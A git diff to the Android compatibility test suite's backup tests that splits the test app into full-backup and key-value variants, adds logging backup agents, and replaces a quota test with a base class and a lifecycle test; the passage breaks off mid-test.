+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -14,21 +14,4 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsBackupApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/backup/app/AndroidManifest.xml b/tests/backup/app/AndroidManifest.xml
deleted file mode 100644
index 1507bc2..0000000
--- a/tests/backup/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2016 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.backup.app" >
-
-    <application
-        android:allowBackup="true"
-        android:backupAgent="BackupCtsBackupAgent"
-        android:label="Android Backup CTS App"
-        android:fullBackupOnly="true">
-        <activity
-            android:name=".MainActivity"
-            android:label="Android Backup CTS App" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/tests/backup/app/fullbackup/Android.mk b/tests/backup/app/fullbackup/Android.mk
new file mode 100644
index 0000000..ac53252
--- /dev/null
+++ b/tests/backup/app/fullbackup/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_PACKAGE_NAME := CtsFullBackupApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/fullbackup/AndroidManifest.xml b/tests/backup/app/fullbackup/AndroidManifest.xml
new file mode 100644
index 0000000..8161a95
--- /dev/null
+++ b/tests/backup/app/fullbackup/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.backup.app" >
+
+    <application
+        android:allowBackup="true"
+        android:backupAgent="FullBackupBackupAgent"
+        android:label="Android Backup CTS App"
+        android:fullBackupOnly="true">
+
+        <activity
+            android:name=".MainActivity"
+            android:label="Android Backup CTS App" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <receiver android:name=".WakeUpReceiver">
+            <intent-filter>
+                <action android:name="android.backup.app.ACTION_WAKE_UP" />
+            </intent-filter>
+        </receiver>
+
+    </application>
+</manifest>
diff --git a/tests/backup/app/keyvalue/Android.mk b/tests/backup/app/keyvalue/Android.mk
new file mode 100644
index 0000000..3c36f50
--- /dev/null
+++ b/tests/backup/app/keyvalue/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_PACKAGE_NAME := CtsKeyValueBackupApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/keyvalue/AndroidManifest.xml b/tests/backup/app/keyvalue/AndroidManifest.xml
new file mode 100644
index 0000000..c99b4b4
--- /dev/null
+++ b/tests/backup/app/keyvalue/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.backup.kvapp" >
+
+    <application
+        android:allowBackup="true"
+        android:backupAgent="android.backup.app.KeyValueBackupAgent"
+        android:label="Android Key Value Backup CTS App">
+        <activity
+            android:name="android.backup.app.MainActivity"
+            android:label="Android Key Value Backup CTS App" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java b/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java
deleted file mode 100644
index f6fb8c1..0000000
--- a/tests/backup/app/src/android/backup/app/BackupCtsBackupAgent.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.app;
-
-import android.app.backup.BackupAgent;
-import android.app.backup.BackupDataInput;
-import android.app.backup.BackupDataOutput;
-import android.app.backup.FullBackupDataOutput;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import java.io.IOException;
-
-/*
- * Backup agent for Backup CTS App.
- *
- * Logs callbacks into logcat.
- */
-public class BackupCtsBackupAgent extends BackupAgent {
-
-    @Override
-    public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
-                         ParcelFileDescriptor newState) throws IOException {
-        Log.d(MainActivity.TAG, "Backup requested");
-    }
-
-    @Override
-    public void onRestore(BackupDataInput data, int appVersionCode,
-                          ParcelFileDescriptor newState) throws IOException {
-        Log.d(MainActivity.TAG, "Restore requested");
-    }
-
-    @Override
-    public void onFullBackup(FullBackupDataOutput data) throws IOException {
-        Log.d(MainActivity.TAG, "Full backup requested");
-        super.onFullBackup(data);
-    }
-
-    @Override
-    public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
-        Log.d(MainActivity.TAG, "Quota exceeded!");
-    }
-}
diff --git a/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
new file mode 100644
index 0000000..8535344
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/FullBackupBackupAgent.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.FullBackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/*
+ * Full Backup agent for Backup CTS App.
+ *
+ * Logs callbacks into logcat.
+ */
+public class FullBackupBackupAgent extends BackupAgent {
+
+    @Override
+    public void onCreate() {
+        Log.d(MainActivity.TAG, "onCreate");
+    }
+
+    @Override
+    public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+                         ParcelFileDescriptor newState) throws IOException {
+        throw new IllegalStateException("unexpected onBackup");
+    }
+
+    @Override
+    public void onRestore(BackupDataInput data, int appVersionCode,
+                          ParcelFileDescriptor newState) throws IOException {
+        throw new IllegalStateException("unexpected onRestore");
+    }
+
+    @Override
+    public void onRestoreFile(ParcelFileDescriptor data, long size,
+            File destination, int type, long mode, long mtime) throws IOException {
+        Log.d(MainActivity.TAG, "onRestoreFile " + destination);
+        super.onRestoreFile(data, size, destination, type, mode, mtime);
+    }
+
+    @Override
+    public void onFullBackup(FullBackupDataOutput data) throws IOException {
+        Log.d(MainActivity.TAG, "Full backup requested, quota is " + data.getQuota());
+        super.onFullBackup(data);
+    }
+
+    @Override
+    public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+        Log.d(MainActivity.TAG, "Quota exceeded!");
+    }
+
+    @Override
+    public void onRestoreFinished() {
+        Log.d(MainActivity.TAG, "onRestoreFinished");
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(MainActivity.TAG, "onDestroy");
+    }
+
+}
diff --git a/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
new file mode 100644
index 0000000..155d8f9
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/KeyValueBackupAgent.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.app.backup.FullBackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+
+/*
+ * Key Value Backup agent for Backup CTS App.
+ *
+ * Logs callbacks into logcat.
+ */
+public class KeyValueBackupAgent extends BackupAgent {
+
+    @Override
+    public void onCreate() {
+        Log.d(MainActivity.TAG, "onCreate");
+    }
+
+    @Override
+    public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+                         ParcelFileDescriptor newState) throws IOException {
+        Log.d(MainActivity.TAG, "Backup requested, quota is " + data.getQuota());
+
+        // Always backup the entire file
+        File testFile = new File(getFilesDir(), MainActivity.FILE_NAME);
+        Log.d(MainActivity.TAG, "Writing " + testFile.length());
+
+        data.writeEntityHeader(MainActivity.FILE_NAME, (int) testFile.length());
+        byte[] buffer = new byte[4096];
+        try (FileInputStream input = new FileInputStream(testFile)) {
+            int read;
+            while ((read = input.read(buffer)) >= 0) {
+                data.writeEntityData(buffer, read);
+            }
+        }
+    }
+
+    @Override
+    public void onRestore(BackupDataInput data, int appVersionCode,
+                          ParcelFileDescriptor newState) throws IOException {
+        Log.d(MainActivity.TAG, "Restore requested");
+    }
+
+    @Override
+    public void onRestoreFile(ParcelFileDescriptor data, long size,
+            File destination, int type, long mode, long mtime) throws IOException {
+        throw new IllegalStateException("unexpected onRestoreFile");
+    }
+
+    @Override
+    public void onFullBackup(FullBackupDataOutput data) throws IOException {
+        throw new IllegalStateException("unexpected onFullBackup");
+    }
+
+    @Override
+    public void onQuotaExceeded(long backupDataBytes, long quotaBytes) {
+        Log.d(MainActivity.TAG, "Quota exceeded!");
+    }
+
+    @Override
+    public void onRestoreFinished() {
+        Log.d(MainActivity.TAG, "onRestoreFinished");
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(MainActivity.TAG, "onDestroy");
+    }
+
+}
diff --git a/tests/backup/app/src/android/backup/app/MainActivity.java b/tests/backup/app/src/android/backup/app/MainActivity.java
index 93c6dd6..3127a56 100644
--- a/tests/backup/app/src/android/backup/app/MainActivity.java
+++ b/tests/backup/app/src/android/backup/app/MainActivity.java
@@ -40,8 +40,8 @@
  */
 public class MainActivity extends Activity {
     public static final String TAG = "BackupCTSApp";
+    public static final String FILE_NAME = "file_name";
 
-    private static final String FILE_NAME = "file_name";
     private static final String FILE_SIZE_EXTRA = "file_size";
     private static final int DATA_CHUNK_SIZE = 1024 * 1024;
 
@@ -60,6 +60,7 @@
         } else {
             Log.d(TAG, "No file size was provided");
         }
+        finish();
     }
 
     private void createFile(int size) throws IOException {
diff --git a/tests/backup/app/src/android/backup/app/WakeUpReceiver.java b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
new file mode 100644
index 0000000..10a9360
--- /dev/null
+++ b/tests/backup/app/src/android/backup/app/WakeUpReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.app;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/*
+ * Broadcast receiver pinged in order to make sure the app progressed from
+ * the stopped state after being installed, so that backup can be done.
+ */
+public class WakeUpReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "WakeUpReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.d(TAG, "android.backup.app should no longer be in the stopped state");
+    }
+}
diff --git a/tests/backup/src/android/backup/cts/BackupQuotaTest.java b/tests/backup/src/android/backup/cts/BackupQuotaTest.java
deleted file mode 100644
index 0493993..0000000
--- a/tests/backup/src/android/backup/cts/BackupQuotaTest.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.backup.cts;
-
-import android.app.Instrumentation;
-import android.content.pm.PackageManager;
-import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.BufferedReader;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Verifies receiving quotaExceeded() callback on full backup.
- *
- * Uses test app that creates large file and receives the callback.
- * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
- */
-public class BackupQuotaTest extends InstrumentationTestCase {
-    private static final String APP_LOG_TAG = "BackupCTSApp";
-
-    private static final String LOCAL_TRANSPORT =
-            "android/com.android.internal.backup.LocalTransport";
-    private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 30 * 1024 * 1024;
-    private static final String BACKUP_APP_NAME = "android.backup.app";
-
-    private static final int SMALL_LOGCAT_DELAY = 1000;
-
-    private boolean isBackupSupported;
-    private boolean wasBackupEnabled;
-    private String oldTransport;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
-        isBackupSupported = packageManager != null
-                && packageManager.hasSystemFeature(PackageManager.FEATURE_BACKUP);
-        if (!isBackupSupported) {
-            return;
-        }
-        // Enable backup and select local backup transport
-        assertTrue("LocalTransport should be available.", hasBackupTransport(LOCAL_TRANSPORT));
-        wasBackupEnabled = enableBackup(true);
-        oldTransport = setBackupTransport(LOCAL_TRANSPORT);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Return old transport
-        if (isBackupSupported) {
-            setBackupTransport(oldTransport);
-            enableBackup(wasBackupEnabled);
-        }
-        super.tearDown();
-    }
-
-    public void testQuotaExceeded() throws Exception {
-        if (!isBackupSupported) {
-            return;
-        }
-        exec("logcat --clear");
-        exec("setprop log.tag." + APP_LOG_TAG +" VERBOSE");
-        // Launch test app and create file exceeding limit for local transport
-        exec("am start -W -a android.intent.action.MAIN " +
-                "-c android.intent.category.LAUNCHER " +
-                "-n " + BACKUP_APP_NAME + "/" + BACKUP_APP_NAME +".MainActivity " +
-                "-e file_size " + LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
-        assertTrue("File was not created", waitForLogcat("File created!", 30));
-
-        // Request backup and wait for quota exceeded event in logcat
-        exec("bmgr backupnow " + BACKUP_APP_NAME);
-        assertTrue("Quota exceeded event is not received", waitForLogcat("Quota exceeded!", 10));
-    }
-
-    private boolean enableBackup(boolean enable) throws Exception {
-        boolean previouslyEnabled;
-        String output = exec("bmgr enabled");
-        Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
-        Matcher matcher = pattern.matcher(output.trim());
-        if (matcher.find()) {
-            previouslyEnabled = "enabled".equals(matcher.group(1));
-        } else {
-            throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
-        }
-
-        exec("bmgr enable " + enable);
-        return previouslyEnabled;
-    }
-
-    private String setBackupTransport(String transport) throws Exception {
-        String output = exec("bmgr transport " + transport);
-        Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
-        Matcher matcher = pattern.matcher(output);
-        if (matcher.find()) {
-            return matcher.group(1);
-        } else {
-            throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
-        }
-    }
-
-    private boolean hasBackupTransport(String transport) throws Exception {
-        String output = exec("bmgr list transports");
-        for (String t : output.split(" ")) {
-            if (transport.equals(t)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private boolean waitForLogcat(String logcatString, int maxTimeoutInSeconds) throws Exception {
-        long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
-        while (timeout >= System.currentTimeMillis()) {
-            FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
-                    "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
-            BufferedReader log = new BufferedReader(new InputStreamReader(fis));
-            String line;
-            while ((line = log.readLine()) != null) {
-                if (line.contains(logcatString)) {
-                    return true;
-                }
-            }
-            closeQuietly(log);
-            // In case the key has not been found, wait for the log to update before
-            // performing the next search.
-            Thread.sleep(SMALL_LOGCAT_DELAY);
-        }
-        return false;
-    }
-
-    private String exec(String command) throws Exception {
-        BufferedReader br = null;
-        try (InputStream in = executeStreamedShellCommand(getInstrumentation(), command)) {
-            br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
-            String str = null;
-            StringBuilder out = new StringBuilder();
-            while ((str = br.readLine()) != null) {
-                out.append(str);
-            }
-            return out.toString();
-        }
-    }
-
-    private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
-                                                               String command) throws Exception {
-        final ParcelFileDescriptor pfd =
-                instrumentation.getUiAutomation().executeShellCommand(command);
-        return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
-    }
-
-    private static void closeQuietly(AutoCloseable closeable) {
-        if (closeable != null) {
-            try {
-                closeable.close();
-            } catch (RuntimeException rethrown) {
-                throw rethrown;
-            } catch (Exception ignored) {
-            }
-        }
-    }
-}
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
new file mode 100644
index 0000000..bbd0d26
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.test.InstrumentationTestCase;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for backup instrumentation tests.
+ *
+ * Ensures that backup is enabled and local transport selected, and provides some utility methods.
+ */
+public class BaseBackupCtsTest extends InstrumentationTestCase {
+    private static final String APP_LOG_TAG = "BackupCTSApp";
+
+    private static final String LOCAL_TRANSPORT =
+            "android/com.android.internal.backup.LocalTransport";
+
+    private static final int SMALL_LOGCAT_DELAY = 1000;
+
+    private boolean isBackupSupported;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
+        isBackupSupported = packageManager != null
+                && packageManager.hasSystemFeature(PackageManager.FEATURE_BACKUP);
+
+        if (isBackupSupported) {
+            assertTrue("Backup not enabled", isBackupEnabled());
+            assertTrue("LocalTransport not selected", isLocalTransportSelected());
+            exec("setprop log.tag." + APP_LOG_TAG +" VERBOSE");
+        }
+    }
+
+    public boolean isBackupSupported() {
+        return isBackupSupported;
+    }
+
+    private boolean isBackupEnabled() throws Exception {
+        String output = exec("bmgr enabled");
+        return output.contains("currently enabled");
+    }
+
+    private boolean isLocalTransportSelected() throws Exception {
+        String output = exec("bmgr list transports");
+        return output.contains("* " + LOCAL_TRANSPORT);
+    }
+
+    /**
+     * Attempts to clear logcat.
+     *
+     * Clearing logcat is known to be unreliable, so this methods also output a unique separator
+     * that can be used to find this point in the log even if clearing failed.
+     * @return a unique separator string
+     * @throws Exception
+     */
+    protected String clearLogcat() throws Exception {
+        exec("logcat -c");
+        String uniqueString = ":::" + UUID.randomUUID().toString();
+        exec("log -t " + APP_LOG_TAG + " " + uniqueString);
+        return uniqueString;
+    }
+
+    /**
+     * Wait for up to maxTimeoutInSeconds for the given strings to appear in the logcat in the given order.
+     * By passing the separator returned by {@link #clearLogcat} as the first string you can ensure that only
+     * logs emitted after that call to clearLogcat are found.
+     *
+     * @throws AssertionError if the strings are not found in the given time.
+     */
+    protected void waitForLogcat(int maxTimeoutInSeconds, String... logcatStrings)
+        throws Exception {
+        long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
+        int stringIndex = 0;
+        while (timeout >= System.currentTimeMillis()) {
+            FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
+                    "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
+            BufferedReader log = new BufferedReader(new InputStreamReader(fis));
+            String line;
+            stringIndex = 0;
+            while ((line = log.readLine()) != null) {
+                if (line.contains(logcatStrings[stringIndex])) {
+                    stringIndex++;
+                    if (stringIndex >= logcatStrings.length) {
+                        drainAndClose(log);
+                        return;
+                    }
+                }
+            }
+            closeQuietly(log);
+            // In case the key has not been found, wait for the log to update before
+            // performing the next search.
+            Thread.sleep(SMALL_LOGCAT_DELAY);
+        }
+        fail("Couldn't find " + logcatStrings[stringIndex] +
+            (stringIndex > 0 ? " after " + logcatStrings[stringIndex - 1] : "") +
+            " within " + maxTimeoutInSeconds + " seconds ");
+    }
+
+    protected void createTestFileOfSize(String packageName, int size) throws Exception {
+        exec("am start -a android.intent.action.MAIN " +
+            "-c android.intent.category.LAUNCHER " +
+            "-n " + packageName + "/android.backup.app.MainActivity " +
+            "-e file_size " + size);
+        waitForLogcat(30, "File created!");
+    }
+
+    protected String exec(String command) throws Exception {
+        try (InputStream in = executeStreamedShellCommand(getInstrumentation(), command)) {
+            BufferedReader br = new BufferedReader(
+                    new InputStreamReader(in, StandardCharsets.UTF_8));
+            String str;
+            StringBuilder out = new StringBuilder();
+            while ((str = br.readLine()) != null) {
+                out.append(str);
+            }
+            return out.toString();
+        }
+    }
+
+    private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
+                                                               String command) throws Exception {
+        final ParcelFileDescriptor pfd =
+                instrumentation.getUiAutomation().executeShellCommand(command);
+        return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+    }
+
+    private static void drainAndClose(BufferedReader reader) {
+        try {
+            while (reader.read() >= 0) {
+                // do nothing.
+            }
+        } catch (IOException ignored) {
+        }
+        closeQuietly(reader);
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+}
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
new file mode 100644
index 0000000..beefa01
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies that key methods are called in expected order during backup / restore.
+ */
+public class FullBackupLifecycleTest extends BaseBackupCtsTest {
+
+    private static final String BACKUP_APP_NAME = "android.backup.app";
+
+    private static final int LOCAL_TRANSPORT_CONFORMING_FILE_SIZE = 5 * 1024;
+
+    private static final int TIMEOUT_SECONDS = 30;
+
+    public void testExpectedMethodsCalledInOrder() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
+        String backupSeparator = clearLogcat();
+
+        // Make sure there's something to backup
+        createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
+
+        // Request backup and wait for it to complete
+        exec("bmgr backupnow " + BACKUP_APP_NAME);
+
+        waitForLogcat(TIMEOUT_SECONDS,
+            backupSeparator,
+            "onCreate",
+            "Full backup requested",
+            "onDestroy");
+
+        String restoreSeparator = clearLogcat();
+
+        // Now request restore and wait for it to complete
